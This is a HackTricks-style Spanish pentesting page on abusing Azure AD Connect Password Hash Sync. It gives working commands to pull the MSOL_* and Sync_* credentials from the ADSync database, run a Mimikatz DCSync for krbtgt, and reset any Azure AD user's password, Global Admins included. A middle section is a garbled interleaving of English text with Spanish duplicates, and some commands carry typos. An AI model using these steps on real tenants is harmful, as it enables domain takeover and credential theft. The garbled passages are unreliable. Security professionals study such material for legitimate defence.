Az - PHS - Password Hash Sync

Apoya a HackTricks

Información Básica

De la documentación: Password hash synchronization es uno de los métodos de inicio de sesión utilizados para lograr una identidad híbrida. Azure AD Connect sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube.

Es el método más común utilizado por las empresas para sincronizar un AD local con Azure AD.

Todos los usuarios y un hash de los hashes de las contraseñas se sincronizan desde el local a Azure AD. Sin embargo, las contraseñas en texto claro o los hashes originales no se envían a Azure AD. Además, los grupos de seguridad integrados (como los administradores de dominio...) no se sincronizan con Azure AD.

La sincronización de hashes ocurre cada 2 minutos. Sin embargo, por defecto, la caducidad de la contraseña y la caducidad de la cuenta no se sincronizan en Azure AD. Por lo tanto, un usuario cuya contraseña local ha caducado (no cambiada) puede continuar accediendo a los recursos de Azure usando la contraseña antigua.

Cuando un usuario local quiere acceder a un recurso de Azure, la autenticación se realiza en Azure AD.

PHS es necesario para funciones como Identity Protection y AAD Domain Services.

Pivoting

Cuando PHS está configurado, algunas cuentas privilegiadas se crean automáticamente:

  • La cuenta MSOL_<installationID> se crea automáticamente en el AD local. A esta cuenta se le asigna un rol de Directory Synchronization Accounts (ver documentación), lo que significa que tiene permisos de replicación (DCSync) en el AD local.

  • Una cuenta Sync_<name of on-prem ADConnect Server>_installationID se crea en Azure AD. Esta cuenta puede restablecer la contraseña de CUALQUIER usuario (sincronizado o solo en la nube) en Azure AD.

Las contraseñas de las dos cuentas privilegiadas anteriores se almacenan en un servidor SQL en el servidor donde Azure AD Connect está instalado. Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro. La base de datos se encuentra en C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Es posible extraer la configuración de una de las tablas, siendo una encriptada:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

La configuración encriptada está encriptada con DPAPI y contiene las contraseñas del usuario MSOL_* en el AD local y la contraseña de Sync_* en AzureAD. Por lo tanto, comprometiendo estas es posible escalar privilegios al AD y a AzureAD.

Puedes encontrar una visión general completa de cómo se almacenan y descifran estas credenciales en esta charla.

Encontrar el servidor de Azure AD connect

Si el servidor donde está instalado Azure AD connect está unido al dominio (recomendado en la documentación), es posible encontrarlo con:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abusing MSOL_*

Abusando de MSOL_*

Password Hash Sync (PHS)

Sincronización de Hash de Contraseña (PHS)

Password Hash Sync (PHS) is a feature of Azure AD Connect that synchronizes the hash of a user's on-premises Active Directory password with Azure AD. This allows users to use the same password for both on-premises and cloud-based resources.

La Sincronización de Hash de Contraseña (PHS) es una característica de Azure AD Connect que sincroniza el hash de la contraseña de un usuario del Active Directory local con Azure AD. Esto permite a los usuarios usar la misma contraseña tanto para recursos locales como basados en la nube.

When PHS is enabled, the password hashes are synchronized from on-premises Active Directory to Azure AD. This synchronization happens at regular intervals and ensures that the password hashes in Azure AD are up-to-date with the on-premises Active Directory.

Cuando PHS está habilitado, los hashes de las contraseñas se sincronizan desde el Active Directory local a Azure AD. Esta sincronización ocurre a intervalos regulares y asegura que los hashes de las contraseñas en Azure AD estén actualizados con el Active Directory local.

Extracting Password Hashes

Extrayendo Hashes de Contraseñas

To extract password hashes from Azure AD Connect, an attacker would need to compromise the server where Azure AD Connect is installed. Once they have access to this server, they can extract the password hashes from the synchronization database.

Para extraer los hashes de las contraseñas de Azure AD Connect, un atacante necesitaría comprometer el servidor donde está instalado Azure AD Connect. Una vez que tienen acceso a este servidor, pueden extraer los hashes de las contraseñas de la base de datos de sincronización.

Tools and Techniques

Herramientas y Técnicas

There are several tools and techniques that can be used to extract password hashes from Azure AD Connect. Some of these include:

Hay varias herramientas y técnicas que se pueden usar para extraer los hashes de las contraseñas de Azure AD Connect. Algunas de estas incluyen:

  • Mimikatz: A well-known tool that can be used to extract password hashes from memory.

  • Mimikatz: Una herramienta bien conocida que se puede usar para extraer hashes de contraseñas de la memoria.

  • DSInternals: A PowerShell module that can be used to extract password hashes from the synchronization database.

  • DSInternals: Un módulo de PowerShell que se puede usar para extraer hashes de contraseñas de la base de datos de sincronización.

Mitigations

Mitigaciones

To mitigate the risk of password hash extraction, organizations should:

Para mitigar el riesgo de extracción de hashes de contraseñas, las organizaciones deberían:

  • Ensure that the Azure AD Connect server is secured and regularly monitored.

  • Asegurarse de que el servidor de Azure AD Connect esté seguro y monitoreado regularmente.

  • Use strong, unique passwords for all accounts.

  • Usar contraseñas fuertes y únicas para todas las cuentas.

  • Regularly update and patch all systems.

  • Actualizar y parchear regularmente todos los sistemas.

  • Implement multi-factor authentication (MFA) for all users.

  • Implementar autenticación multifactor (MFA) para todos los usuarios.

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

También puedes usar adconnectdump para obtener estas credenciales.

Abusando Sync_*

Comprometiendo la cuenta Sync_* es posible restablecer la contraseña de cualquier usuario (incluyendo Administradores Globales)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

También es posible modificar las contraseñas de solo usuarios en la nube (incluso si eso es inesperado)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

También es posible volcar la contraseña de este usuario.

Otra opción sería asignar permisos privilegiados a un principal de servicio, lo cual el usuario Sync tiene permisos para hacer, y luego acceder a ese principal de servicio como una forma de privesc.

Seamless SSO

Es posible usar Seamless SSO con PHS, que es vulnerable a otros abusos. Revísalo en:

Az - Seamless SSO

Referencias

Apoya HackTricks

Last updated